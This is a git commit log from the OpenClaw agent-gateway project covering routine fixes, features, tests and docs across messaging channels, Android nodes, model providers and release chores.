- src/auto-reply/reply/post-compaction-audit.ts
- src/auto-reply/reply/post-compaction-audit.test.ts

Modified files:
- src/auto-reply/reply/agent-runner.ts (removed imports, audit map,
  flag setting, and Layer 3 audit block)

Fixes #27697, fixes #26851, fixes #20484, fixes #22339, fixes #25600
Relates to #26461

* fix: resolve lint failures from post-compaction audit removal

* Tests: add regression for removed post-compaction audit warnings

---------

Co-authored-by: Wilfred (OpenClaw Agent) <jay@openclaw.dev>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-27 17:15:59 -08:00
icesword0760
a509154be5 Feishu: send media payloads as attachments (openclaw#28959) thanks @icesword0760
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: icesword0760 <23316247+icesword0760@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 19:06:27 -06:00
Shadow
5cb2a3aa1b Tests: validate discord slash command options 2026-02-27 18:41:16 -06:00
Madoka
32ee2f0109 fix(feishu): break infinite typing-indicator retry loop on rate-limit / quota errors (openclaw#28494) thanks @guoqunabc
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: guoqunabc <9532020+guoqunabc@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 18:41:08 -06:00
Glucksberg
0e755ad99a fix(feishu): use msg_type "audio" for opus files instead of "media" (openclaw#28269) thanks @Glucksberg
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 18:23:19 -06:00
Glucksberg
60ef923051 fix(feishu): cache probeFeishu() results with 10-min TTL to reduce API calls (openclaw#28907) thanks @Glucksberg
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 18:15:28 -06:00
XuHao
56fa05838a feat(feishu): support Docx table create/write + image/file upload actions in feishu_doc (#20304)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 18:00:56 -06:00
大猫子
1725839720 fix(tools): honor tools.fs.workspaceOnly=false for host write/edit (#28822)
Merged via squash.

Prepared head SHA: 83d432961d
Co-authored-by: lailoo <20536249+lailoo@users.noreply.github.com>
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Reviewed-by: @velvet-shark
2026-02-28 00:53:20 +01:00
OfflynAI
ad804b0356 fix(feishu): propagate mediaLocalRoots for local file sends (#27884) (openclaw#27928) thanks @joelnishanth
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: joelnishanth <140015627+joelnishanth@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 17:43:57 -06:00
zhoulc777
bf9585d056 PR: Feishu Plugin - Auto-grant document permissions to requesting user (openclaw#28295) thanks @zhoulongchao77
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: zhoulongchao77 <65058500+zhoulongchao77@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 17:34:18 -06:00
Vincent Koc
fa5e71d1ae fix: harden Ollama autodiscovery and warning behavior (#29201)
* agents: auto-discover Ollama models without API key

* tests: cover Ollama autodiscovery warning behavior
2026-02-27 15:22:34 -08:00
Vincent Koc
d17c083803 docs(ollama): clarify /v1 tool-calling guidance (#29204) 2026-02-27 15:21:13 -08:00
Agent
de77497ea8 chore: add convex to sponsors table 2026-02-27 23:27:27 +01:00
Peter Steinberger
4aa2dc6857 fix(infra): land #29078 from @cathrynlavery with restart fallback
Co-authored-by: Cathryn Lavery <cathryn@littlemight.com>
2026-02-27 22:04:46 +00:00
Cathryn Lavery
db67492a00 fix(infra): actively kickstart launchd on supervised gateway restart
When an agent triggers a gateway restart in supervised mode, the process
exits expecting launchd KeepAlive to respawn it. But ThrottleInterval
(default 10s, or 60s on older installs) can delay or prevent restart.

Now calls triggerOpenClawRestart() to issue an explicit launchctl
kickstart before exiting, ensuring immediate respawn. Falls back to
in-process restart if kickstart fails.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-27 22:02:05 +00:00
Sid
ee2eaddeb3 fix(onboard): increase verification timeout and reduce max_tokens for custom provider probes (#27380)
* fix(onboard): increase verification timeout and reduce max_tokens for custom provider probes

The onboard wizard sends a chat-completion request to verify custom
providers.  With max_tokens: 1024 and a 10 s timeout, large local
models (e.g. Qwen3.5-27B on llama.cpp) routinely time out because
the server needs to load the model and generate up to 1024 tokens
before responding.

Changes:
- Raise VERIFY_TIMEOUT_MS from 10 s to 30 s
- Lower max_tokens from 1024 to 1 (verification only needs a single
  token to confirm the API is reachable and the model ID is valid)
- Add explicit stream: false to both OpenAI and Anthropic probes

Closes #27346

Made-with: Cursor

* Changelog: note custom-provider onboarding verification fix

---------

Co-authored-by: Philipp Spiess <hello@philippspiess.com>
2026-02-27 22:51:58 +01:00
Shakker
46d9605ef8 merge-pr: use short squash merge banner 2026-02-27 21:41:24 +00:00
Philipp Spiess
12618c333c tests: complete openai-responses model fixture typing 2026-02-27 22:30:30 +01:00
bmendonca3
f943c76cde security(feishu): bound unauthenticated webhook rate-limit state (openclaw#26050) thanks @bmendonca3
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: bmendonca3 <208517100+bmendonca3@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 13:22:24 -06:00
Bartok Moltbot
3882b8a5be ci: fix CONTRIBUTING.md oxfmt formatting
- Remove trailing blank line after Jonathan Taylor entry
- Escape underscore in @jlehman_ X handle

Fixes #29039
2026-02-27 11:12:04 -08:00
Peter Steinberger
8bc80fad47 fix(slack): land #29032 /agentstatus alias from @maloqab
Land contributor PR #29032 by @maloqab with Slack native alias docs, integration tests, and changelog entry.

Co-authored-by: maloqab <mitebaloqab@gmail.com>
2026-02-27 19:09:38 +00:00
Rodrigo Uroz
1867611733 fix(memory): readonly sync recovery (openclaw#25799) thanks @rodrigouroz
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini (fails in this environment at src/daemon/launchd.integration.test.ts beforeAll hook timeout; merged with Tak override)

Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 12:26:43 -06:00
Josh Lehman
2916152f83 Add contributor Josh Lehman to CONTRIBUTING.md 2026-02-27 12:03:49 -06:00
Vincent Koc
15cf288d73 Update CHANGELOG.md 2026-02-27 09:11:58 -08:00
Peter Steinberger
dede4089a6 docs(openai): add clear server compaction toggle examples 2026-02-27 16:21:08 +00:00
Peter Steinberger
645791c35e ci: add timeout for windows checks job 2026-02-27 16:20:02 +00:00
Peter Steinberger
8da3a9a92d fix(agents): auto-enable OpenAI Responses server-side compaction (#16930, #22441, #25088)
Landed from contributor PRs #16930, #22441, and #25088.

Co-authored-by: liweiguang <codingpunk@gmail.com>
Co-authored-by: EdwardWu7 <wuzhiyuan7@gmail.com>
Co-authored-by: MoerAI <friendnt@g.skku.edu>
2026-02-27 16:15:50 +00:00
Rishabh Jain
6675aacb5e feat(memory-lancedb): Custom OpenAI BaseURL & Dimensions Support (#17874)
* feat(memory-lancedb): add custom baseUrl and dimensions support

* fix(memory-lancedb): strict model typing and safe dimension resolution

* style: fix formatting in memory-lancedb config

* fix(memory-lancedb): sync manifest schema with new embedding options

---------

Co-authored-by: OpenClaw Bot <bot@openclaw.ai>
2026-02-27 07:56:09 -08:00
Vincent Koc
62fa65ec85 Fix npm global install deprecation warnings (#28318)
* Dependencies: make @discordjs/opus an optional peer

* Dependencies: bump node-llama-cpp peer to 3.16.2

* Dependencies: pin Google auth deps to warning-free versions

* CI: reduce Dependabot cooldown to 2 days

* CI: fix invalid Dependabot npm registry config

* CI: restore Dependabot npm registry with token auth

* Dependencies: remove global Google auth pnpm overrides

* CI: make Dependabot updates daily

* Dependencies: restore optional install semantics for @discordjs/opus

* CI: keep Docker Dependabot interval weekly
2026-02-27 07:38:02 -08:00
Peter Steinberger
fe807e4bed chore(release): bump 2026.2.27 and split changelog 2026-02-27 16:09:28 +01:00
Rodrigo Uroz
0fe6cf06b2 Compaction: preserve opaque identifiers in summaries (openclaw#25553) thanks @rodrigouroz
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 08:14:05 -06:00
Daniel Reis
84a88b2ace feat(i18n): add German (de) locale (#28495)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: e418326aaf
Co-authored-by: dsantoreis <220753637+dsantoreis@users.noreply.github.com>
Co-authored-by: Evizero <10854026+Evizero@users.noreply.github.com>
Reviewed-by: @Evizero
2026-02-27 11:44:09 +01:00
wangchunyue
6b317b1f17 fix(agents): normalize whitespace-padded tool call names before dispatch (#27094)
Fix tool-call lookup failures when models emit whitespace-padded names by normalizing
both transcript history and live streamed embedded-runner tool calls before dispatch.

Co-authored-by: wangchunyue <80630709+openperf@users.noreply.github.com>
Co-authored-by: Sid <sidqin0410@gmail.com>
Co-authored-by: Philipp Spiess <hello@philippspiess.com>
2026-02-27 11:26:37 +01:00
Ayaan Zaidi
aae90cb036 fix(telegram): include replied media files in reply context (#28488)
* fix(telegram): include replied media files in reply context

* fix(telegram): keep reply media fields nullable

* perf(telegram): defer reply-media fetch to debounce flush

* fix(telegram): gate and preserve reply media attachments

* fix(telegram): preserve cached-sticker reply media context

* fix: update changelog for telegram reply-media context fixes (#28488) (thanks @obviyus)
2026-02-27 15:16:21 +05:30
Onur Solmaz
a7929abad8 Discord: thread bindings idle + max-age lifecycle (#27845) (thanks @osolmaz)
* refactor discord thread bindings to idle and max-age lifecycle

* fix: migrate legacy thread binding expiry and reduce hot-path disk writes

* refactor: remove remaining thread-binding ttl legacy paths

* fix: harden thread-binding lifecycle persistence

* Discord: fix thread binding types in message/reply paths

* Infra: handle win32 unknown inode in file identity checks

* Infra: relax win32 guarded-open identity checks

* Config: migrate threadBindings ttlHours to idleHours

* Revert "Infra: relax win32 guarded-open identity checks"

This reverts commit de94126771.

* Revert "Infra: handle win32 unknown inode in file identity checks"

This reverts commit 96fc5ddfb3.

* Discord: re-read live binding state before sweep unbind

* fix: add changelog note for thread binding lifecycle update (#27845) (thanks @osolmaz)

---------

Co-authored-by: Onur Solmaz <onur@textcortex.com>
2026-02-27 10:02:39 +01:00
Ayaan Zaidi
0fb7add7d6 fix: document canvas capability refresh params fix (#28413) (thanks @obviyus) 2026-02-27 13:26:42 +05:30
Ayaan Zaidi
3a35035512 fix(android): send object params for canvas capability refresh 2026-02-27 13:26:42 +05:30
Ayaan Zaidi
256021b8da fix: update changelog for android capability refresh land (#28388) (thanks @obviyus) 2026-02-27 12:16:36 +05:30
Ayaan Zaidi
6222d6650b fix(android): avoid duplicate A2UI readiness probe on happy path 2026-02-27 12:16:36 +05:30
Ayaan Zaidi
8187fbc571 fix(android): refresh scoped canvas URLs without trailing slash 2026-02-27 12:16:36 +05:30
Ayaan Zaidi
4b37b7b6a9 fix(media): serve JavaScript assets with text/javascript 2026-02-27 12:16:36 +05:30
Ayaan Zaidi
d53b24d185 fix(android): return valid debug.ed25519 diagnostics JSON 2026-02-27 12:16:36 +05:30
Ayaan Zaidi
34486f8c10 fix(android): retry A2UI after canvas capability refresh 2026-02-27 12:16:36 +05:30
Ayaan Zaidi
9b64ad30c4 docs(android): add integration test preconditions and pitfalls 2026-02-27 12:16:36 +05:30
Ayaan Zaidi
72adf1e993 test(gateway): add live android capability integration suite 2026-02-27 12:16:36 +05:30
Ayaan Zaidi
54eaf17327 feat(gateway): add node canvas capability refresh flow 2026-02-27 12:16:36 +05:30
Ayaan Zaidi
0896bb09b0 feat(android): wire runtime canvas capability refresh 2026-02-27 12:16:36 +05:30
Ayaan Zaidi
6ed00abc1e docs: document android capability sweep in testing guide 2026-02-27 12:16:36 +05:30
Ayaan Zaidi
7f6e822526 test: add android integration test script 2026-02-27 12:16:36 +05:30
Byungsker
d911b0254d fix(agents): demote Ollama empty-discovery log from warn to debug (#26379)
When Ollama responds successfully but returns zero models (e.g. on Linux
with the bundled `ollama-stub.service`), `discoverOllamaModels` was
logging at `warn` level:

  [agents/model-providers] No Ollama models found on local instance

This appeared on every agent invocation even when Ollama was not
intentionally configured, polluting production logs.  An empty model
list is a normal operational state — it warrants at most a debug
note, not a warning.

Fix: change `log.warn` → `log.debug` for the zero-models branch.
The error paths (HTTP failure, fetch exception) remain at `warn`
since those indicate genuine connectivity problems.

Closes #26354
2026-02-26 21:12:10 -08:00
Vincent Koc
cb9374a2a1 Gateway: improve device-auth v2 migration diagnostics (#28305)
* Gateway: add device-auth detail code resolver

* Gateway: emit specific device-auth detail codes

* Gateway tests: cover nonce and signature detail codes

* Docs: add gateway device-auth migration diagnostics

* Docs: add device-auth v2 troubleshooting signatures
2026-02-26 21:05:43 -08:00
Vincent Koc
22ad7523f1 Docker: replace npm link with root CLI symlink (#28312) 2026-02-26 23:57:28 -05:00
Vincent Koc
e8e673992a CI: smoke test root Dockerfile openclaw CLI (#28308) 2026-02-26 23:54:17 -05:00
Yutaka Sasaki
f5adb66bbc fix: add npm link to fix CLI permission denied (exit 127) (#17151)
Co-authored-by: Yutaka Sasaki <sskyu@minio.local>
2026-02-26 23:47:45 -05:00
Ayaan Zaidi
2719398dd9 docs(changelog): note android node diagnostics and action updates (#28260) (thanks @obviyus) 2026-02-27 10:15:21 +05:30
Ayaan Zaidi
22d422a792 refactor(android-node): share battery snapshot parsing across device handlers 2026-02-27 10:15:21 +05:30
Ayaan Zaidi
284f75500c refactor(android-node): unify notifications snapshot rebind preflight 2026-02-27 10:15:21 +05:30
Ayaan Zaidi
1bf08ae7c9 refactor(nodes): map read actions to invoke commands 2026-02-27 10:15:21 +05:30
Ayaan Zaidi
bbab0b005e fix(android): rebind listener before notification actions 2026-02-27 10:15:21 +05:30
Ayaan Zaidi
8807267bfd fix(android): allow open and reply on non-clearable notifications 2026-02-27 10:15:21 +05:30
Ayaan Zaidi
b8373eaddc fix(nodes): reject facing=both when camera deviceId is set 2026-02-27 10:15:21 +05:30
Ayaan Zaidi
29f5da5b2a feat(nodes): expose device diagnostics and notification actions 2026-02-27 10:15:21 +05:30
Ayaan Zaidi
d0ec3de588 feat(android): implement device diagnostics and notification actions 2026-02-27 10:15:21 +05:30
Ayaan Zaidi
e99b323a6b feat(node): add device diagnostics and notification action commands 2026-02-27 10:15:21 +05:30
Ayaan Zaidi
e48513d512 fix(android): scale invoke result ack timeout to invoke budget 2026-02-27 10:15:21 +05:30
Ayaan Zaidi
c1e0f8cfb1 docs(nodes): document android camera list and device actions 2026-02-27 10:15:21 +05:30
Ayaan Zaidi
01f1d355a4 feat(nodes): add device status and info actions 2026-02-27 10:15:21 +05:30
Ayaan Zaidi
1f7b3c613d feat(android): add camera list and device selection 2026-02-27 10:15:21 +05:30
Vincent Koc
c838a4dde0 Changelog: add missing npm update and plugin fix credits (#28257) 2026-02-26 22:52:50 -05:00
Ayaan Zaidi
de885d260f fix: update changelog for android camera clip (#28229) (thanks @obviyus) 2026-02-27 09:10:10 +05:30
Ayaan Zaidi
0f7664fda3 fix(android): reject non-positive camera maxWidth 2026-02-27 09:10:10 +05:30
Ayaan Zaidi
adb41e48ae test(android): cover camera clip payload size guard 2026-02-27 09:10:10 +05:30
Ayaan Zaidi
fb34c46074 refactor(android): make camera clip transport deterministic 2026-02-27 09:10:10 +05:30
Ayaan Zaidi
120a7abbab test(android): cover camera clip upload URL JSON parsing 2026-02-27 09:10:10 +05:30
Ayaan Zaidi
67609cc16f fix(android): parse camera and screen invoke params as JSON 2026-02-27 09:10:10 +05:30
Vincent Koc
88a0d87490 Docs: align gateway config key paths with metadata (#28196)
* Docs: align gateway config key paths in reference

* Docs: expand config reference coverage for channels plugins and providers
2026-02-26 22:35:43 -05:00
Dale Yarborough
efdba59e49 fix(plugins): clear error when npm package not found (Closes #24993) (#25073) 2026-02-26 22:16:28 -05:00
graysurf
7aa233790b Fix npm-spec plugin installs when npm pack output is empty (#21039)
* fix(plugins): recover npm pack archive when stdout is empty

* test(plugins): create npm pack archive in metadata mock

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-26 22:00:24 -05:00
Ayaan Zaidi
9d52dcf1f4 fix: stabilize launchd CA env tests (#27915) (thanks @Lukavyi) 2026-02-27 08:11:16 +05:30
clawdbot
6b59c87570 fix: add missing closing brace in proxy env test 2026-02-27 08:11:16 +05:30
Clawborn
d33f24c4e9 Fix NODE_EXTRA_CA_CERTS missing from LaunchAgent environment on macOS
launchd services do not inherit the shell environment, so Node's undici/fetch
cannot locate the macOS system CA bundle (/etc/ssl/cert.pem). This causes TLS
verification failures for all HTTPS requests (e.g. Telegram, webhooks) when the
gateway runs as a LaunchAgent, while the same gateway works fine in a terminal.

Add NODE_EXTRA_CA_CERTS defaulting to /etc/ssl/cert.pem on macOS in both
buildServiceEnvironment and buildNodeServiceEnvironment. User-supplied
NODE_EXTRA_CA_CERTS is always respected and takes precedence.

Fixes #22856

Co-authored-by: Clawborn <tianrun.yang103@gmail.com>
2026-02-27 08:11:16 +05:30
Xinhua Gu
7bbfb9de5e fix(update): fallback to --omit=optional when global npm update fails (#24896)
* fix(update): fallback to --omit=optional when global npm update fails

* fix(update): add recovery hints and fallback for npm global update failures

* chore(update): align fallback progress step index ordering

* chore(update): label omit-optional retry step in progress output

* chore(update): avoid showing 1/2 when fallback path is not used

* chore(ci): retrigger after unrelated test OOM

* fix(update): scope recovery hints to npm failures

* test(update): cover non-npm hint suppression

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-26 21:35:13 -05:00
Ayaan Zaidi
418111adb9 docs(telegram): align channel docs with runtime behavior 2026-02-27 08:00:29 +05:30
Ayaan Zaidi
7149ba5574 docs: remove legacy grammy page 2026-02-27 08:00:29 +05:30
Ayaan Zaidi
035a2dbb40 docs: consolidate grammy links to telegram 2026-02-27 08:00:29 +05:30
Ayaan Zaidi
1f68010bd6 docs(telegram): clarify group auth boundary 2026-02-27 08:00:29 +05:30
Philipp Spiess
35e40f1139 ui: remove Google Fonts import blocked by CSP (style-src 'self' 'unsafe-inline'); fonts never loaded; closes #28038 2026-02-27 01:44:41 +01:00
Peter Steinberger
5c776be60b test: stabilize docker live model suites 2026-02-27 01:21:45 +01:00
Peter Steinberger
bc50708057 chore(release): cut 2026.2.26 2026-02-27 00:58:16 +01:00
Sid
e6be26ef1c fix(provider): normalize bare gemini-3 Pro model IDs for google-antigravity (#24145)
* fix(provider): normalize bare gemini-3 Pro model IDs for google-antigravity

The Antigravity Cloud Code Assist API requires a thinking-tier suffix
(-low or -high) for all Gemini 3 Pro variants.  When a user configures
a bare model ID like `gemini-3.1-pro`, the API returns a 404 because it
only recognises `gemini-3.1-pro-low` or `gemini-3.1-pro-high`.

Add `normalizeAntigravityModelId()` that appends `-low` (the default
tier) to bare Pro model IDs, and apply it during provider normalisation
for `google-antigravity`.  Also refactor the per-provider model
normalisation into a shared `normalizeProviderModels()` helper.

Closes #24071

Co-authored-by: Cursor <cursoragent@cursor.com>

* Tests: cover antigravity model ID normalization

* Changelog: note antigravity pro tier normalization

* Tests: type antigravity model helper inputs

---------

Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-26 18:53:46 -05:00
Byungsker
17578d77e1 fix(agents): add forward-compat fallback for google-gemini-cli gemini-3.1-pro/flash-preview (#26570)
* fix(agents): add "google" provider to isReasoningTagProvider to prevent reasoning leak

The gemini-api-key auth flow creates a profile with provider "google"
(e.g. google/gemini-3-pro-preview), but isReasoningTagProvider only
matched "google-gemini-cli" (OAuth) and "google-generative-ai". As a
result:
- reasoningTagHint was false → system prompt omitted <think>/<final>
  formatting instructions
- enforceFinalTag was false → <final> tag filtering was skipped

Raw <think> reasoning output was delivered to the end user.

Fix: add the bare "google" provider string to the match list and cover
it with two new test cases (exact match + case-insensitive).

Fixes #26551

* fix(agents): add forward-compat fallback for google-gemini-cli gemini-3.1-pro/flash-preview

gemini-3.1-pro-preview and gemini-3.1-flash-preview are not yet present in
pi-ai's built-in google-gemini-cli model catalog (only gemini-3-pro-preview
and gemini-3-flash-preview are registered). When users configure these models
they get "Unknown model" errors even though Gemini CLI OAuth supports them.

The codebase already has isGemini31Model() in extra-params.ts, which proves
intent to support these models. Add a resolveGoogleGeminiCli31ForwardCompatModel
entry to resolveForwardCompatModel following the same clone-template pattern
used for zai/glm-5 and anthropic 4.6 models.

- gemini-3.1-pro-* clones gemini-3-pro-preview (with reasoning: true)
- gemini-3.1-flash-* clones gemini-3-flash-preview (with reasoning: true)

Also add test helpers and three test cases to model.forward-compat.test.ts.

Fixes #26524

* Changelog: credit Google Gemini provider fallback fixes

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-26 18:39:13 -05:00
Philipp Spiess
d320b30b9b Docs: expand ACP first-use naming and link protocol site 2026-02-27 00:33:58 +01:00
Peter Steinberger
297cca0565 docs(cli): improve secrets command guide 2026-02-27 00:20:02 +01:00
Peter Steinberger
1d43202930 fix: repair Telegram allowlist DM migrations (#27936) (thanks @widingmarcus-cyber) 2026-02-26 22:53:13 +00:00
Vincent Koc
2c6b078ff0 Changelog: include Gemini OAuth PRs #16683 and #16684 (#27987) 2026-02-26 17:50:53 -05:00
Peter Steinberger
7dad7cc2ca fix(ci): align sync boundary realpath canonicalization 2026-02-26 23:48:38 +01:00
Peter Steinberger
5b62d5603d fix: unblock CI minimatch audit and host policy check 2026-02-26 22:48:09 +00:00
Peter Steinberger
c35368c6dd fix(ios): eliminate Swift warnings and clean build logs 2026-02-26 22:42:23 +00:00
Peter Steinberger
22c74d416b chore(release): point appcast to beta tag 2026-02-26 23:38:20 +01:00
Peter Steinberger
80d44c983f chore(release): cut 2026.2.26-beta.1 2026-02-26 23:10:47 +01:00
Peter Steinberger
90c6744925 docs(changelog): reorder docker gateway fix by user impact 2026-02-26 23:06:40 +01:00
Philipp Spiess
a29b18c003 Protocol: regenerate Swift models for systemRunPlanV2 2026-02-26 23:05:23 +01:00
Peter Steinberger
45d868685f fix: enforce dm allowFrom inheritance across account channels (#27936) (thanks @widingmarcus-cyber) 2026-02-26 22:04:16 +00:00
Marcus Widing
0fdac31383 fix: skip allowFrom validation at account level (inherits from parent)
Account configs inherit channel-level fields at runtime (e.g.,
resolveTelegramAccount shallow-merges top-level and account values).
An account can set dmPolicy='allowlist' and rely on the parent's
allowFrom, so validating allowFrom on the account object alone
incorrectly rejects valid multi-account configs.

Removes requireAllowlistAllowFrom and requireOpenAllowFrom from all
account-level schemas (Telegram, Signal, IRC, iMessage, BlueBubbles).
Top-level config schemas still enforce the validation.

Addresses Codex review feedback on #27936.
2026-02-26 22:04:16 +00:00
Marcus Widing
cbed0e065c fix: reject dmPolicy="allowlist" with empty allowFrom across all channels
When dmPolicy is set to "allowlist" but allowFrom is missing or empty,
all DMs are silently dropped because no sender can match the empty
allowlist. This is a common pitfall after upgrades that change how
allowlist files are handled (e.g., external allowlist-dm.json files
being deprecated in favor of inline allowFrom arrays).

Changes:
- Add requireAllowlistAllowFrom schema refinement (zod-schema.core.ts)
- Apply validation to all channel schemas: Telegram, Discord, Slack,
  Signal, IRC, iMessage, BlueBubbles, MS Teams, Google Chat, WhatsApp
- Add detectEmptyAllowlistPolicy to doctor-config-flow.ts so
  "openclaw doctor" surfaces a clear warning with remediation steps
- Add 12 test cases covering reject/accept for multiple channels

Fixes #27892
2026-02-26 22:04:16 +00:00
Peter Steinberger
e618794a96 test: align compaction hook usage expectation 2026-02-26 22:03:26 +00:00
Peter Steinberger
39f7dbfe02 fix(cli): make gateway --force resilient to lsof EACCES 2026-02-26 23:02:58 +01:00
Peter Steinberger
c03adfb41a test: align compaction hook usage expectation 2026-02-26 22:00:31 +00:00
Peter Steinberger
31c0b04c49 fix(nextcloud-talk): keep startAccount pending until abort (#27897) 2026-02-26 22:00:25 +00:00
Peter Steinberger
b1bbf3fff1 fix: harden temp dir perms for umask 0002 (landed from #27860 by @stakeswky)
Co-authored-by: 不做了睡大觉 <stakeswky@gmail.com>
2026-02-26 21:59:55 +00:00
Peter Steinberger
53575f2013 fix: add googlechat lifecycle regression test (#27384) (thanks @junsuwhy) 2026-02-26 21:49:26 +00:00
Chang Shu-Huai
eb6fa0dacf fix(googlechat): keep startAccount pending until abort to prevent restart loop 2026-02-26 21:49:26 +00:00
Peter Steinberger
cb917b7f05 chore: silence onboard warning noise 2026-02-26 22:47:35 +01:00
Peter Steinberger
10c7ae1eca refactor(outbound): split recovery counters and normalize legacy retry entries 2026-02-26 22:42:15 +01:00
Peter Steinberger
5dd264d2fb refactor(daemon): unify runtime binary detection 2026-02-26 22:39:05 +01:00
Peter Steinberger
58171c8918 docs(security): clarify parity-only command-risk reports 2026-02-26 22:37:12 +01:00
Peter Steinberger
cceefe833a fix: harden delivery recovery backoff eligibility and tests (#27710) (thanks @Jimmy-xuzimo) 2026-02-26 21:37:00 +00:00
Xu Zimo
0cfd448bab fix(delivery-queue): change break to continue to prevent head-of-line blocking
When an entry's backoff exceeds the recovery budget, the code was using
break which blocked all subsequent entries from being processed. This
caused permanent queue blockage for any installation with a delivery entry
at retryCount >= 2.

Fix: Changed break to continue so entries whose backoff exceeds the
remaining budget are skipped individually rather than blocking the
entire loop.

Closes #27638
2026-02-26 21:37:00 +00:00
SidQin-cyber
27f4ab2fb2 fix(models): extend gpt-5.3-codex forward compat to github-copilot
The codex forward-compat fallback only matched openai-codex, leaving
github-copilot users without gpt-5.3-codex despite the model being
available on the Copilot API.

Made-with: Cursor
2026-02-26 21:36:57 +00:00
Peter Steinberger
564be6b402 refactor(channels): unify dm pairing policy flows 2026-02-26 22:36:20 +01:00
Peter Steinberger
7e0b3f16e3 fix: preserve assistant usage snapshots during compaction cleanup 2026-02-26 21:35:26 +00:00
Peter Steinberger
ca2ae342db fix(cli): accept node24 executable names in argv reparse 2026-02-26 22:35:04 +01:00
Peter Steinberger
d33db186d0 docs: reorder unreleased 2026.2.26 changelog entries 2026-02-26 22:30:13 +01:00
Peter Steinberger
da61aa8a58 test: fix TS2783 in nodes-utils helper 2026-02-26 21:26:54 +00:00
Peter Steinberger
c53b11dccd test: fix pairing/daemon assertion drift 2026-02-26 21:24:50 +00:00
Peter Steinberger
a1346a519a refactor(nodes): share default selection and tighten node.list fallback 2026-02-26 22:18:57 +01:00
Peter Steinberger
7ef6623bf3 fix: forward resolved session key in agent delivery (follow-up #27584 by @qualiobra)
Co-authored-by: Lucas Teixeira Campos Araujo <lucas@MacBook-Pro-de-Lucas.local>
2026-02-26 21:18:15 +00:00
Peter Steinberger
eaa9e1c661 refactor(browser): unify fill field normalization 2026-02-26 22:17:58 +01:00
Peter Steinberger
69b2f8cd8b docs(changelog): credit reporter for pairing isolation fix 2026-02-26 22:14:32 +01:00
Peter Steinberger
df65ed7e9e test(gateway): align outbound session assertion shape 2026-02-26 22:14:32 +01:00
Peter Steinberger
2ed9d633b3 fix: browser fill default type parity (#27662) (thanks @Uface11) 2026-02-26 21:14:28 +00:00
Rick
a0b12f2ba7 fix(browser): accept fill fields without explicit type
Default missing fill field type to 'text' in /act route to avoid spurious 'fields are required' failures from relay/tool callers. Add regression test for fill payloads with ref+value only.
2026-02-26 21:14:28 +00:00
Peter Steinberger
712e231725 fix(agent): forward resolved outbound session context for delivery 2026-02-26 22:14:22 +01:00
Peter Steinberger
da9f24dd2e fix: add nodes default-node regression test (#27444) (thanks @carbaj03) 2026-02-26 21:13:19 +00:00
ACV
47bb568cb2 fix(nodes): resolve default node when multiple canvas-capable nodes are connected
`pickDefaultNode()` returned null when multiple connected canvas-capable
nodes existed and none matched the local Mac heuristic. This caused
"node required" errors for agents (especially sub-agents) calling the
canvas tool without an explicit node parameter.

In multi-node setups, any canvas-capable node is a valid target — the
receiving node broadcasts A2UI surfaces to all other connected devices.
Fall back to the first connected candidate instead of failing.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-26 21:13:19 +00:00
Peter Steinberger
4b4718c8df refactor(cli): decompose nodes run approval flow 2026-02-26 22:01:27 +01:00
Peter Steinberger
4e690e09c7 refactor(gateway): centralize system.run approval context and errors 2026-02-26 22:01:16 +01:00
Peter Steinberger
d06632ba45 refactor(gateway): share node command catalog 2026-02-26 22:01:06 +01:00
Peter Steinberger
d82c042b09 refactor(node-host): split system.run plan and allowlist internals 2026-02-26 22:01:01 +01:00
Peter Steinberger
bce643a0bd refactor(security): enforce account-scoped pairing APIs 2026-02-26 21:57:52 +01:00
Peter Steinberger
a0c5e28f3b refactor(extensions): use scoped pairing helper 2026-02-26 21:57:52 +01:00
Peter Steinberger
36b6ea1446 docs: enforce repo-relative file refs in AGENTS 2026-02-26 21:57:52 +01:00
Peter Steinberger
192df12d60 test(voice-call): cover verification key and header helpers 2026-02-26 21:54:09 +01:00
Peter Steinberger
535ef8991c refactor(voice-call): enforce verified webhook key contract 2026-02-26 21:54:09 +01:00
Peter Steinberger
6f0b4caa26 refactor(voice-call): share header and guarded api helpers 2026-02-26 21:54:09 +01:00
